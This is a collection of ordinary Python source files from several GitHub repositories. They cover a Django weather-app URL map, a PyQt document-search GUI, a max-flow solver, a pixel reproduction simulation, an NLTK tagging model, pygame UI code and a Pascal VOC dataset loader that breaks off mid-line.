+{"seq_id":"10673737394","text":"from django.urls import path\nfrom . import views\nfrom django.contrib import admin\nfrom django.urls import path\n\nurlpatterns = [\n    path('trangchu',views.index),\n    path('',views.index),\n    path('thongkechung',views.index2),\n    path('thongkengay',views.index3),\n    path('thongkethang',views.index4),\n    path('thongkenam',views.index5),\n    path('xemdulieu',views.index6),\n    \n    # path url xu li thong ke\n    path('ketquachung',views.xltk_chung),\n    path('ketquangay',views.xltk_ngay),\n    path('ketquathang',views.xltk_thang),\n    path('ketquanam',views.xltk_nam),\n\n\n    # path url xu li api trong ngay\n    path('angiang',views.angiang),\n    path('brvt',views.brvt),\n    path('bacgiang',views.bacgiang),\n    path('backan',views.backan),\n    path('baclieu',views.baclieu),\n    path('bacninh',views.bacninh),\n    path('bentre',views.bentre),\n    path('binhdinh',views.binhdinh),\n    path('binhduong',views.binhduong),\n    path('binhphuoc',views.binhphuoc),\n    path('binhthuan',views.binhthuan),\n    path('camau',views.camau),\n    path('cantho',views.cantho),\n    path('caobang',views.caobang),\n    path('danang',views.danang),\n    path('daklak',views.daklak),\n    path('daknong',views.daknong),\n    path('dienbien',views.dienbien),\n    path('dongnai',views.dongnai),\n    path('dongthap',views.dongthap),\n    path('gialai',views.gialai),\n    path('hagiang',views.hagiang),\n    path('hanam',views.hanam),\n    path('hanoi',views.hanoi),\n    path('hatinh',views.hatinh),\n    path('haiduong',views.haiduong),\n    path('haiphong',views.haiphong),\n    path('haugiang',views.haugiang),\n    path('hoabinh',views.hoabinh),\n    path('hungyen',views.hungyen),\n    path('khanhhoa',views.khanhhoa),\n    path('kiengiang',views.kiengiang),\n    path('kontum',views.kontum),\n    path('laichau',views.laichau),\n    path('lamdong',views.lamdong),\n    path('langson',views.langson),\n    path('laocai',views.laocai),\n    path('longan',views.longan),\n    path('namdinh',views.namdinh),\n    path('nghean',views.nghean),\n    path('ninhbinh',views.ninhbinh),\n    path('ninhthuan',views.ninhthuan),\n    path('phutho',views.phutho),\n    path('phuyen',views.phuyen),\n    path('quangbinh',views.quangbinh),\n    path('quangnam',views.quangnam),\n    path('quangngai',views.quangngai),\n    path('quangninh',views.quangninh),\n    path('quangtri',views.quangtri),\n    path('soctrang',views.soctrang),\n    path('sonla',views.sonla),\n    path('tayninh',views.tayninh),\n    path('thaibinh',views.thaibinh),\n    path('thainguyen',views.thainguyen),\n    path('thanhhoa',views.thanhhoa),\n    path('thuathienhue',views.thuathienhue),\n    path('tiengiang',views.tiengiang),\n    path('hcm',views.hcm),\n    path('travinh',views.travinh),\n    path('tuyenquang',views.tuyenquang),\n    path('vinhlong',views.vinhlong),\n    path('vinhphuc',views.vinhphuc),\n    path('yenbai',views.yenbai),\n    \n\n\n]\n","repo_name":"qhuong1008/WeatherApp","sub_path":"weatherProject/weatherApp/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":2858,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"73013756533","text":"import sys\nfrom PyQt5.QtWidgets import (\n    QApplication,\n    QWidget,\n    QPushButton,\n    QLabel,\n    QLineEdit,\n    QTextEdit,\n    QVBoxLayout,\n    QFileDialog,\n)\nfrom docs_gpt import DocSearch\n\n\nclass SimpleApp(QWidget):\n    def __init__(self):\n        super().__init__()\n\n        self.init_ui()\n\n    def init_ui(self):\n        # Create widgets\n        self.file_button = QPushButton(\"Select document\", self)\n        self.file_button.clicked.connect(self.show_file_dialog)\n\n        self.input_label = QLabel(\"Question:\", self)\n        self.input_text = QLineEdit(self)\n\n        # New button added to the right of the input box\n        self.additional_button = QPushButton(\"Search\", self)\n        self.additional_button.clicked.connect(self.on_additional_button_click)\n\n        self.output_label = QLabel(\"Answer:\", self)\n        self.output_text = QTextEdit(self)\n        self.output_text.setReadOnly(True)\n\n        # Set up layout\n        layout = QVBoxLayout()\n        layout.addWidget(self.file_button)\n\n        # Horizontal layout for input box and additional button\n        input_layout = QVBoxLayout()\n        input_layout.addWidget(self.input_label)\n        input_layout.addWidget(self.input_text)\n        input_layout.addWidget(self.additional_button)\n        layout.addLayout(input_layout)\n\n        layout.addWidget(self.output_label)\n        layout.addWidget(self.output_text)\n\n        # Set the layout for the main window\n        self.setLayout(layout)\n\n        self.ai = None\n\n        # Set up the main window\n        self.setGeometry(100, 100, 600, 400)\n        self.setWindowTitle(\"docs-ai\")\n        self.show()\n\n    def show_file_dialog(self):\n        options = QFileDialog.Options()\n        options |= QFileDialog.ReadOnly\n        file_name, _ = QFileDialog.getOpenFileName(\n            self,\n            \"Select File\",\n            \"\",\n            \"All Files (*);;Text Files (*.txt)\",\n            options=options,\n        )\n\n        if file_name:\n            self.input_text.clear()\n            self.output_text.clear()\n            self.ai = DocSearch(file_name)\n\n    def on_additional_button_click(self):\n        # Add your custom functionality when the additional button is clicked\n        self.output_text.clear()\n        if self.ai:\n            print(\"Additional Button Clicked!\")\n            query = self.input_text.text()\n            # append the query to the output text\n            self.output_text.append(query)\n            self.ai.ask_question(\n                query,\n                lambda x: self.output_text.append(x),\n            )\n\n\nif __name__ == \"__main__\":\n    app = QApplication(sys.argv)\n    window = SimpleApp()\n    sys.exit(app.exec_())\n","repo_name":"marromlam/docs-ai","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2680,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"}
+{"seq_id":"2818536667","text":"from collections import deque\n\ndef bfs(source, sink, res_graph, parents):\n    visited = [False] * len(res_graph)\n    visited[source] = True\n    queue = deque()\n    queue.appendleft(source)\n    while queue:\n        u = queue.pop()\n        for v, c in enumerate(res_graph[u]):\n            if not visited[v] and c > 0:\n                visited[v] = True\n                parents[v] = u\n                queue.appendleft(v)\n    return visited[sink]\n\ndef edmonds_karp(source, sink, graph):\n    res_graph = [[v for v in u] for u in graph]\n    parents = [-1] * len(res_graph)\n    max_flow = 0\n    while bfs(source, sink, res_graph, parents):\n        bottleneck = float('inf')\n        v = sink\n        while v != source:\n            u = parents[v]\n            bottleneck = min(bottleneck, res_graph[u][v])\n            v = u\n        v = sink\n        while v != source:\n            u = parents[v]\n            res_graph[u][v] -= bottleneck\n            res_graph[v][u] += bottleneck\n            v = u\n        max_flow += bottleneck\n    return max_flow\n\nif __name__ == '__main__':\n    # stdin\n    # first line = number of tests\n    # for each test, first line = num nodes, num edges, source, sink\n    # num edges lines follow, each one has tail, head, capacity\n    tests = int(input())\n    for t in range(tests):\n        nodes, edges, source, sink = (map(int, input().split()))\n        graph = [[0 for v in range(nodes)] for u in range(nodes)]\n        for e in range(edges):\n            u, v, c = (map(int, input().split()))\n            graph[u][v] = c\n        print(edmonds_karp(source, sink, graph))\n\n","repo_name":"akashkw/practice","sub_path":"python/misc/max_flow_gfg/max_flow_gfg.py","file_name":"max_flow_gfg.py","file_ext":"py","file_size_in_byte":1587,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"24374103762","text":"import argparse\nimport time\nimport math\nimport random\nfrom multiprocessing import Pool\nfrom abc import ABC, abstractmethod\nimport colorsys\nfrom enum import Enum\n\nMIN_PIXEL_RANGE = 0\nMAX_PIXEL_RANGE = 255\nLIFESPAN = 8\nDEFAULT_THRESHOLD = 10\nMIN_GENERATION_FOR_REPRODUCTION = 3\nMAX_GENERATION_FOR_REPRODUCTION = 6\nMIN_NUMBER_OF_PIXELS_FOR_REPRODUCTION = 2\nEXIT_ERROR = 1\nDEFAULT_EMPTY_LIST = 'none'\n\n\nclass ColorSchemes(Enum):\n    RGB = 'RGB'\n    HSL = 'HSL'\n    HSV = 'HSV'\n    CMYK = 'CMYK'\n\n\nclass Pixel(ABC):\n\n    threshold_to_reproduce = DEFAULT_THRESHOLD\n\n    def __init__(self):\n        self.generation = 0\n        self.rgb_representation = self.asRGB()\n        self.mate = None\n\n    @abstractmethod\n    def __repr__(self):\n        pass\n\n    @abstractmethod\n    def asRGB(self):\n        pass\n\n    @staticmethod\n    def set_dominance(dominance):\n        Pixel.dominance_set = dominance\n\n    def get_generation(self):\n        return self.generation\n\n    def increment_generation_count(self):\n        self.generation += 1\n\n    def get_mate(self):\n        return self.mate\n\n    def set_mate(self, id):\n        self.mate = id\n\n    @staticmethod\n    def squares_distance(first, second):\n        asRGB_first = first.asRGB()\n        asARGB_second = second.asRGB()\n        return math.sqrt(math.pow(asRGB_first[0] - asARGB_second[0], 2) + math.pow(asRGB_first[1] - asARGB_second[1], 2)\n                         + math.pow(asRGB_first[2] - asARGB_second[2], 2))\n\n    @staticmethod\n    def rgb_average(first, second):\n        first_values = first.asRGB()\n        second_values = second.asRGB()\n\n        return (first_values[0] + second_values[0]) // 2, (first_values[1] + second_values[1]) // 2,\\\n               (first_values[2] + second_values[2]) // 2\n\n    @staticmethod\n    def reproduce_couple(input):\n        first_type = type(input[0]).__name__\n        second_type = type(input[1]).__name__\n        dominance_set = input[2]\n        global child_type\n        if first_type in dominance_set:\n            if second_type in dominance_set:\n                rnd_choice = random.randint(0, 1)\n                child_type = first_type if rnd_choice == 0 else second_type\n            else:\n                child_type = first_type\n        else:\n            if second_type in dominance_set:\n                child_type = second_type\n            else:\n                rnd_choice = random.randint(0, 1)\n                child_type = first_type if rnd_choice == 0 else second_type\n        r, g, b = Pixel.rgb_average(input[0], input[1])\n\n        if child_type == ColorSchemes.RGB.value:\n            return RGB((r, g, b))\n        elif child_type == ColorSchemes.HSL.value:\n            r, g, b = r / MAX_PIXEL_RANGE, g / MAX_PIXEL_RANGE, b / MAX_PIXEL_RANGE\n            return HSL(HSL.from_RGB(r, g, b))\n        elif child_type == ColorSchemes.HSV.value:\n            r, g, b = r / MAX_PIXEL_RANGE, g / MAX_PIXEL_RANGE, b / MAX_PIXEL_RANGE\n            return HSV(HSV.from_RGB(r, g, b))\n        elif child_type == ColorSchemes.CMYK.value:\n            return CMYK(CMYK.from_RGB(r, g, b))\n\n\nclass RGB(Pixel):\n    options = [ColorSchemes.RGB.value, ColorSchemes.HSV.value, ColorSchemes.CMYK.value]\n\n    def __init__(self, scheme):\n        self.first = scheme[0]\n        self.second = scheme[1]\n        self.third = scheme[2]\n        super().__init__()\n\n    def __repr__(self):\n        return 'RGB(Red= {0}, Green= {1}, Blue= {2}, age={3})'.format(self.first, self.second, self.third,\n                                                                      self.generation)\n\n    def asRGB(self):\n        return self.get_values()\n\n    def get_options(self):\n        return RGB.options\n\n    def get_values(self):\n        return self.first, self.second, self.third\n\n\nclass HSL(Pixel):\n    options = [ColorSchemes.HSV.value, ColorSchemes.HSL.value]\n\n    def __init__(self, scheme):\n        self.first = scheme[0]\n        self.second = scheme[1]\n        self.third = scheme[2]\n        super().__init__()\n\n    def __repr__(self):\n        return 'HSL(Hue= {0}°, Saturation= {1}, Lightness= {2}, age={3})'.format(self.first, self.second, self.third,\n                                                                                 self.generation)\n\n    def asRGB(self):\n        h, s, l = self.get_values()\n        return tuple(round(i * 255) for i in colorsys.hls_to_rgb(h, l, s))\n\n    @staticmethod\n    def from_RGB(r, g, b):\n        r, g, b = r / 255, g / 255, b / 255\n        h, l, s = colorsys.rgb_to_hls(r, g, b)\n        return round(h, 2), round(s, 2), round(l, 2)\n\n\n    def get_options(self):\n        return HSL.options\n\n    def get_values(self):\n        return self.first, self.second, self.third\n\n\nclass HSV(Pixel):\n    options = [ColorSchemes.RGB.value, ColorSchemes.HSV.value, ColorSchemes.HSL.value, ColorSchemes.CMYK.value]\n\n    def __init__(self, scheme):\n        self.first = scheme[0]\n        self.second = scheme[1]\n        self.third = scheme[2]\n        super().__init__()\n\n    def __repr__(self):\n        return 'HSV(Hue= {0}°, Saturation= {1}, Value= {2}, age={3})'.format(self.first, self.second, self.third,\n                                                                             self.generation)\n\n    def asRGB(self):\n        h, s, v = self.get_values()\n        return tuple(round(i * 255) for i in colorsys.hsv_to_rgb(h, s, v))\n\n    @staticmethod\n    def from_RGB(r, g, b):\n        r, g, b = r / MAX_PIXEL_RANGE, g / MAX_PIXEL_RANGE, b / MAX_PIXEL_RANGE\n        h, s, v = colorsys.rgb_to_hsv(r, g, b)\n        return round(h, 2), round(s, 2), round(v, 2)\n\n    def get_options(self):\n        return HSV.options\n\n    def get_values(self):\n        return self.first, self.second, self.third\n\n\nclass CMYK(Pixel):\n\n    options = [ColorSchemes.RGB.value, ColorSchemes.HSV.value, ColorSchemes.CMYK.value]\n\n    def __init__(self, scheme):\n        self.first = scheme[0]\n        self.second = scheme[1]\n        self.third = scheme[2]\n        self.forth = scheme[3]\n        super().__init__()\n\n\n    def __repr__(self):\n        return 'CMYK(Cyan= {0}, Magenta= {1}, Yellow= {2}, Black= {3}, age={4})'.format(self.first, self.second,\n                                                                                        self.third, self.forth,\n                                                                                        self.generation)\n\n    def get_values(self):\n        return self.first, self.second, self.third, self.forth\n\n    def asRGB(self):\n        cyan, magenta, yellow, black = self.get_values()\n\n        r = MAX_PIXEL_RANGE * (MAX_PIXEL_RANGE - cyan) // MAX_PIXEL_RANGE * (MAX_PIXEL_RANGE - black) // MAX_PIXEL_RANGE\n        g = MAX_PIXEL_RANGE * (MAX_PIXEL_RANGE - magenta) // MAX_PIXEL_RANGE * (MAX_PIXEL_RANGE - black)\\\n            // MAX_PIXEL_RANGE\n        b = MAX_PIXEL_RANGE * (MAX_PIXEL_RANGE - yellow) // MAX_PIXEL_RANGE * (MAX_PIXEL_RANGE - black)\\\n            // MAX_PIXEL_RANGE\n\n        return r, g, b\n\n    @staticmethod\n    def from_RGB(r, g, b):\n        r_tag = r // MAX_PIXEL_RANGE\n        g_tag = g // MAX_PIXEL_RANGE\n        b_tag = b // MAX_PIXEL_RANGE\n\n        k = 1 - max(r_tag, g_tag, b_tag)\n        if k == 1:\n            c = (1 - r_tag - k)\n            m = (1 - g_tag - k)\n            y = (1 - b_tag - k)\n        else:\n            c = (1 - r_tag - k) // (1 - k)\n            m = (1 - g_tag - k) // (1 - k)\n            y = (1 - b_tag - k) // (1 - k)\n\n        return c, m, y, k\n\n    def get_options(self):\n        return CMYK.options\n\n\nclass Population:\n    available_id = 0\n\n    def __init__(self, pixels):\n        initial_amount = len(pixels)\n        self.community = {}\n        for i in range(initial_amount):\n            pixel_type = pixels[i][0]\n            pixels_value = pixels[i][1:]\n            try:\n                pixels_value = [float(pixels_value[j]) for j in range(len(pixels_value))]\n            except ValueError:\n                print(\"Pixel {0} contains bad value\".format(pixel_type))\n                exit(EXIT_ERROR)\n            if pixel_type == ColorSchemes.RGB.value:\n                self.community[i] = RGB(pixels_value)\n            elif pixel_type == ColorSchemes.HSL.value:\n                self.community[i] = HSL(pixels_value)\n            elif pixel_type == ColorSchemes.HSV.value:\n                self.community[i] = HSV(pixels_value)\n            elif pixel_type == ColorSchemes.CMYK.value:\n                self.community[i] = CMYK(pixels_value)\n            Population.increment_id()\n\n    def __repr__(self):\n        return 'Current population holds {0} Pixels\\nSee details below:\\n{1}\\n'.format(self.get_community_size(),\n                                                                                       self.community.values())\n\n    def get_community(self):\n        return self.community\n\n    def get_community_size(self):\n        return len(self.community.keys())\n\n    def increment_generation(self):\n        for pixel in self.community.values():\n            pixel.increment_generation_count()\n\n    @staticmethod\n    def increment_id():\n        Population.available_id += 1\n\n    def population_dilution(self):\n        new_population = {}\n        for index, pixel in self.community.items():\n            if pixel.get_generation() <= LIFESPAN:\n                new_population[index] = pixel\n        self.community = new_population\n\n    def population_expand(self, offsprings):\n        for offspring in offsprings:\n            self.community[Population.available_id] = offspring\n            Population.increment_id()\n\n\nclass Reproduction:\n    def __init__(self, population, dominance_set, interval, iterations):\n        self.population = population\n        self.dominance_set = dominance_set\n        self.stage = 0\n        self.reproduction_interval = interval\n        self.number_of_iterations = iterations\n        print(self)\n\n    def __repr__(self):\n        return 'After stage {0}:\\n{1}\\n'.format(self.get_cur_stage(), self.population)\n\n    def increment_stage(self):\n        self.stage += 1\n\n    def get_cur_stage(self):\n        return self.stage\n\n    def reproduce_executor(self):\n        couples = []\n        couples_ids = []\n        cur_population = self.population.get_community()\n        pixels_indexes_capable_of_reproducing = []\n        for id, pixel in cur_population.items():\n            pixel_gen = pixel.get_generation()\n            if MIN_GENERATION_FOR_REPRODUCTION <= pixel_gen <= MAX_GENERATION_FOR_REPRODUCTION:\n                pixels_indexes_capable_of_reproducing.append(id)\n        for id in pixels_indexes_capable_of_reproducing:\n            if id in couples_ids:\n                continue\n            possible_mate = cur_population[id].get_mate()\n            if possible_mate and possible_mate in cur_population:\n                couples.append((cur_population[id], cur_population[possible_mate], self.dominance_set))\n                couples_ids.extend([id, possible_mate])\n                cur_population[id].set_mate(possible_mate)\n                cur_population[possible_mate].set_mate(id)\n            else:\n                options_types = cur_population[id].get_options()\n                best_option_pixel_id = None\n                best_option_pixel_value = 0\n\n                for pair_id in pixels_indexes_capable_of_reproducing:\n                    if pair_id == id or pair_id in couples_ids or type(cur_population[pair_id]).__name__ not in\\\n                            options_types:\n                        continue\n                    square_distance = Pixel.squares_distance(cur_population[id], cur_population[pair_id])\n                    if square_distance > Pixel.threshold_to_reproduce and square_distance > best_option_pixel_value:\n                        best_option_pixel_id = pair_id\n                if best_option_pixel_id:\n                    couples_ids.extend([id, best_option_pixel_id])\n                    couples.append((cur_population[id], cur_population[best_option_pixel_id], self.dominance_set))\n                    cur_population[id].set_mate(best_option_pixel_id)\n                    cur_population[best_option_pixel_id].set_mate(id)\n        p = Pool()\n        offspring_pixels = p.map(Pixel.reproduce_couple, couples)\n        self.population.population_expand(offspring_pixels)\n\n    def reproduce(self):\n        next_call = time.time()\n        for i in range(self.number_of_iterations):\n            self.increment_stage()\n            self.reproduce_executor()\n            self.population.increment_generation()\n            self.population.population_dilution()\n            population_size = self.population.get_community_size()\n            print(self)\n            if population_size < MIN_NUMBER_OF_PIXELS_FOR_REPRODUCTION:\n                print('Population holds only {0} pixel(s), thus will no longer reproduce, '\n                      'stopping the process'.format(population_size))\n                break\n            next_call += self.reproduction_interval\n            time.sleep(next_call - time.time())\n\n\ndef read_from_file(filename):\n    pixels = []\n    try:\n        with open(filename) as input_file:\n            for line in input_file:\n                line = line.rstrip()\n                if not line:\n                    break\n                pixels.append(line.rstrip().split(','))\n        return pixels\n    except OSError as err:\n        print(\"OS error: {0}\".format(err))\n        exit(EXIT_ERROR)\n\n\ndef verify_inputs(pixels, dominance_schemes):\n    correct_pixels_type = set(item.value for item in ColorSchemes)\n    if dominance_schemes[0] == DEFAULT_EMPTY_LIST:\n        dominance_schemes.pop()\n    else:\n        for scheme in dominance_schemes:\n            if scheme not in correct_pixels_type:\n                print(\"Bad value: {0} on dominance schemes list\".format(scheme))\n                exit(EXIT_ERROR)\n    for pixel in pixels:\n        if pixel[0] not in correct_pixels_type:\n            print(\"Bad value: {0} on pixels list\".format(pixel))\n            exit(EXIT_ERROR)\n\n\ndef main(arguments):\n    pixels = read_from_file(arguments.population_file)\n    dominance_schemes = arguments.dominance_schemes.split(',')\n    verify_inputs(pixels, dominance_schemes)\n    population = Population(pixels)\n    Reproduction(population, dominance_schemes, arguments.reproduction_interval, arguments.number_of_iterations).reproduce()\n\n\nif __name__ == '__main__':\n    parser = argparse.ArgumentParser(usage=\"This program simulates the reproduction of different kinds of pixel. \"\n                                           \"Call it with the two mandatory arguments as explained below\")\n    parser.add_argument(\"population_file\", help=\"A name of a file, which includes a population description: Each line\"\n                                                \"of the file includes a comma separated information- \"\n                                                'Type of Pixel,value1,value2,value3,[value4].'\n                                                'Forth value is in the case of CMYK pixel.')\n\n    parser.add_argument(\"dominance_schemes\", help=\"Which type of pixel is dominance in its reproducing process.\"\n                                                  \"Must be a list of pixel types (RGB, HSL, HSV, CMYK), comma\"\n                                                  \"separated. if you wish to specify an empty list if pixels, \"\n                                                  \"please put the word 'none' \")\n\n    parser.add_argument(\"reproduction_interval\", help=\"How much time (seconds) between one reproduction to another\",\n                        type=int)\n\n    parser.add_argument(\"number_of_iterations\", help=\"How many reproductions you would like to simulate\", type=int)\n\n    args = parser.parse_args()\n    main(args)\n","repo_name":"shimonBer/pixel-reproduction-v2","sub_path":"pixel-reproduction.py","file_name":"pixel-reproduction.py","file_ext":"py","file_size_in_byte":15641,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"1659751916","text":"\"\"\"\nTitle : 감소하는 수\nLink : https://www.acmicpc.net/problem/1038\n\"\"\"\n\n\ndef check(decreasing_num, num, num_len):\n    str_list = list(str(num))\n    # 두 자리씩 확인하며 감소하는 수가 아니면 False 반환\n    for i in range(num_len - 1):\n        if str_list[i] == '0':\n            return False, i\n        if not decreasing_num[int(''.join([str_list[i], str_list[i + 1]]))]:\n            return False, i\n    return True, 0\n\n\ndef search():\n    n = int(input())\n    \n    # 두 자리수까지 감소하는 숫자인지 미리 저장\n    decreasing_num = [False] * 100\n    for i in range(10):\n        decreasing_num[i] = True\n    for i in range(1, 10):\n        for j in range(i):\n            decreasing_num[i * 10 + j] = True\n    \n    if n == 0:\n        return 0\n    \n    count = 0\n    for i in range(1, 100):\n        if decreasing_num[i]:\n            count += 1\n        if count == n:\n            return i\n    \n    decreasing_seq = list(map(str, range(9, -1, -1)))\n    \n    # 세자리수부터 탐색\n    num_len = 3\n    num = 210\n    while num_len < 11:\n        if num >= 10 ** num_len:\n            num_len += 1\n            num = int(''.join(decreasing_seq[-num_len:]))\n        tf, idx =  check(decreasing_num, num, num_len)\n        if tf:\n            count += 1\n            if count == n:\n                return num\n            num += 1\n        # 감소하는 수가 아니면 모두 탐색을 해서 넘어갈 필요가 없음\n        else:\n            # 처음 감소가 아닌 부분에서 1을 더함\n            # 65330 >> 65430\n            num += 10 ** (num_len - idx -1)\n            # 해당 부분 밑에는 가장 작은 감소하는 수로 초기화\n            # 65330 >> 65430 >> 65410\n            new_decreasing = int(''.join(decreasing_seq[-(num_len - idx - 1):]))\n            num //= 10 ** (num_len - idx - 1)\n            num *= 10 ** (num_len - idx - 1)\n            num += new_decreasing\n    return - 1\n\nprint(search())\n","repo_name":"mintropy/algorithm_pulzo","sub_path":"이영준/2021/08/0812/1038.py","file_name":"1038.py","file_ext":"py","file_size_in_byte":1956,"program_lang":"python","lang":"ko","doc_type":"code","stars":3,"dataset":"github-code","pt":"21"}
+{"seq_id":"43454876318","text":"from __future__ import annotations\n\nfrom typing import List\n\nimport nltk\nimport numpy as np\nfrom sklearn.preprocessing import LabelEncoder, OneHotEncoder\n\n__all__ = ['PosTagModel']\n\n\nclass PosTagModel:\n    def __init__(self):\n        self.tagger = nltk.tag.PerceptronTagger()\n        categories = np.unique(list(self.tagger.tagdict.values()))\n        tags = OneHotEncoder(\n            sparse=False,\n            categories='auto'\n        ).fit_transform(\n            LabelEncoder().fit_transform(categories).reshape(-1, 1)\n        )\n        self.tag_indices = {\n            label: tag\n            for label, tag\n            in zip(categories, tags)\n        }\n        self._UNK_tag = np.zeros(tags.shape[-1])\n\n    def predict(self, sequences: List[List[str]]) -> List[np.ndarray]:\n        return [\n            np.array([\n                self.tag_indices.get(tag, self._UNK_tag)\n                for token, tag\n                in nltk.pos_tag(seq)\n            ])\n            for seq in sequences\n        ]\n\n    @property\n    def num_categories(self) -> int:\n        return len(self._UNK_tag)\n\n    def __setstate__(self, state):\n        # restore state\n        self.tag_indices, self._UNK_tag = state\n        # create a new tagger\n        self.tagger = nltk.tag.PerceptronTagger()\n\n    def __getstate__(self):\n        # do not store the tagger\n        return self.tag_indices, self._UNK_tag\n","repo_name":"slatex/stexls","sub_path":"stexls/trefier/training/features/pos.py","file_name":"pos.py","file_ext":"py","file_size_in_byte":1386,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"12493917820","text":"import pygame, os\nfrom mainConst import screen, pixel_font\nfrom abs_path import abs_path\n\npygame.init()\nclicked_statistics = False\n\n\nclass Statistics:\n    def __init__(self, x, y, width, height, path, text_lg=None, text_name=None, text_days=None):\n        self.x = x\n        self.y = y\n        self.width = width\n        self.height = height\n        self.text_lg = text_lg\n        self.text_name = text_name\n        self.text_days = text_days\n        self.image = pygame.transform.scale(pygame.image.load(path), (self.width, self.height))\n        self.image_rect = self.image.get_rect(center=(self.x, self.y))\n        self.exit = pygame.transform.scale(pygame.image.load(abs_path('images/sprites/iconCross_beige.png')), (40, 40))\n        self.exit_rect = self.exit.get_rect(center=(75, 65))\n\n        self.logika_image = pygame.transform.scale(pygame.image.load(abs_path('images/sprites/logika.png')), (60, 60))\n\n        self.logiki_text = pixel_font.render(self.text_lg, True, (255, 255, 255))\n        self.logiki_text_rect = self.logiki_text.get_rect(center=(710, 75))\n\n        self.name_text = pixel_font.render(self.text_name, True, (255, 255, 255))\n        self.name_text_rect = self.name_text.get_rect(center=(400, 200))\n\n        self.days_text = pixel_font.render(self.text_days, True, (255, 255, 255))\n        self.days_text_rect = self.days_text.get_rect(center=(400, 250))\n\n    def blit_statistics(self):\n        if clicked_statistics:\n            screen.blit(self.image, self.image_rect)\n            screen.blit(self.logiki_text, self.logiki_text_rect)\n            screen.blit(self.name_text, self.name_text_rect)\n            screen.blit(self.days_text, self.days_text_rect)\n            screen.blit(self.exit, self.exit_rect)\n            screen.blit(self.logika_image, (620, 45))\n","repo_name":"YarikHrabovets/tamagotchi","sub_path":"statisticsClass.py","file_name":"statisticsClass.py","file_ext":"py","file_size_in_byte":1790,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"21"}
+{"seq_id":"70677905654","text":"#%%\nimport statistics\nimport random\n\n#%%\nlst = [random.randint(1,1000) for _ in range(10000)]\n\nx1 = statistics.mean(lst)\nx2 = statistics.median(lst)\nx3 = statistics.geometric_mean(lst)\nx4 = statistics.harmonic_mean(lst)\nx5 = statistics.stdev(lst) # sample standard deviation\nx6 = statistics.variance(lst) # sample variance\nx7 = statistics.pstdev(lst) # population standard deviation\nx8 =  statistics.pvariance(lst) # population variance\n","repo_name":"harvey-tan91/python_reference_materials","sub_path":"reference_materials/#4 statistics.py","file_name":"#4 statistics.py","file_ext":"py","file_size_in_byte":437,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"74128339891","text":"import logging\nimport os\nfrom typing import List\n\nimport albumentations as A\nimport cv2\nimport imageio\nimport numpy as np\nimport torch\nfrom albumentations.pytorch import ToTensorV2\nfrom PIL import Image\nfrom skimage.measure import regionprops\nfrom torchvision.datasets.vision import VisionDataset\nfrom tqdm import tqdm\n\nfrom comus.saliency import load_sal_model\nfrom comus.utils import collate_fn_masks\n\nlog = logging.getLogger(__name__)\n\n\ncv2.setNumThreads(0)\ncv2.ocl.setUseOpenCL(False)\n\nVOC_CLASSES = [\n    \"background\",\n    \"aeroplane\",\n    \"bicycle\",\n    \"bird\",\n    \"boat\",\n    \"bottle\",\n    \"bus\",\n    \"car\",\n    \"cat\",\n    \"chair\",\n    \"cow\",\n    \"diningtable\",\n    \"dog\",\n    \"horse\",\n    \"motorbike\",\n    \"person\",\n    \"potted plant\",\n    \"sheep\",\n    \"sofa\",\n    \"train\",\n    \"tv/monitor\",\n]\n\nVOC_COLORMAP = [\n    [0, 0, 0],\n    [128, 0, 0],\n    [0, 128, 0],\n    [128, 128, 0],\n    [0, 0, 128],\n    [128, 0, 128],\n    [0, 128, 128],\n    [128, 128, 128],\n    [64, 0, 0],\n    [192, 0, 0],\n    [64, 128, 0],\n    [192, 128, 0],\n    [64, 0, 128],\n    [192, 0, 128],\n    [64, 128, 128],\n    [192, 128, 128],\n    [0, 64, 0],\n    [128, 64, 0],\n    [0, 192, 0],\n    [128, 192, 0],\n    [0, 64, 128],\n]\n\nIM_SIZE = 256\ntransforms_list = [\n    A.Resize(IM_SIZE, IM_SIZE),\n    A.Normalize(mean=[0.485, 0.456, 0.406], std=[0.229, 0.224, 0.225]),\n    ToTensorV2(),\n]\n\nTRANSFORM = A.Compose(transforms_list, additional_targets={\"pseudo_mask\": \"mask\"})\n\ntransforms_list_without_normalization = [\n    A.Resize(IM_SIZE, IM_SIZE),\n    ToTensorV2(),\n]\n\nTRANSFORM_NO_NORM = A.Compose(\n    transforms_list_without_normalization, additional_targets={\"pseudo_mask\": \"mask\"}\n)\n\n\nclass PascalVOCSegmentation(VisionDataset):\n    classes = VOC_CLASSES\n    _SPLITS_DIR = \"Segmentation\"\n    _TARGET_FILE_EXT = \".png\"\n\n    def __init__(self, root, split=\"val\", transform=TRANSFORM):\n        if split in [\"trainaug_one\", \"trainaug_many\", \"val_one\", \"val_many\"]:\n            self.filter = split.split(\"_\")[-1]\n            split = split.split(\"_\")[0]\n        else:\n            self.filter = None\n        self.transform = transform\n        self.root = root\n        self.year = 2012\n        self._TARGET_DIR = \"SegmentationClass\"\n        if split == \"trainaug\":\n            self._TARGET_DIR = \"SegmentationClassAug\"\n        base_dir = \"VOCdevkit/VOC2007\" if split == \"test\" else \"VOCdevkit/VOC2012\"\n        voc_root = os.path.join(self.root, base_dir)\n\n        if not os.path.isdir(voc_root):\n            raise RuntimeError(f\"{voc_root} Dataset not found or corrupted.\")\n\n        splits_dir = os.path.join(voc_root, \"ImageSets\", self._SPLITS_DIR)\n        split_f = os.path.join(splits_dir, split.rstrip(\"\\n\") + \".txt\")\n        with open(os.path.join(split_f), \"r\") as f:\n            file_names = [x.strip() for x in f.readlines()]\n        image_dir = os.path.join(voc_root, \"JPEGImages\")\n        self.images = [os.path.join(image_dir, f\"{x}.jpg\") for x in file_names]\n\n        target_dir = os.path.join(voc_root, self._TARGET_DIR)\n        self.targets = [os.path.join(target_dir, x + self._TARGET_FILE_EXT) for x in file_names]\n\n        if split == \"trainaug\":\n            self.root = root\n            self._convert_to_segmentation_mask = 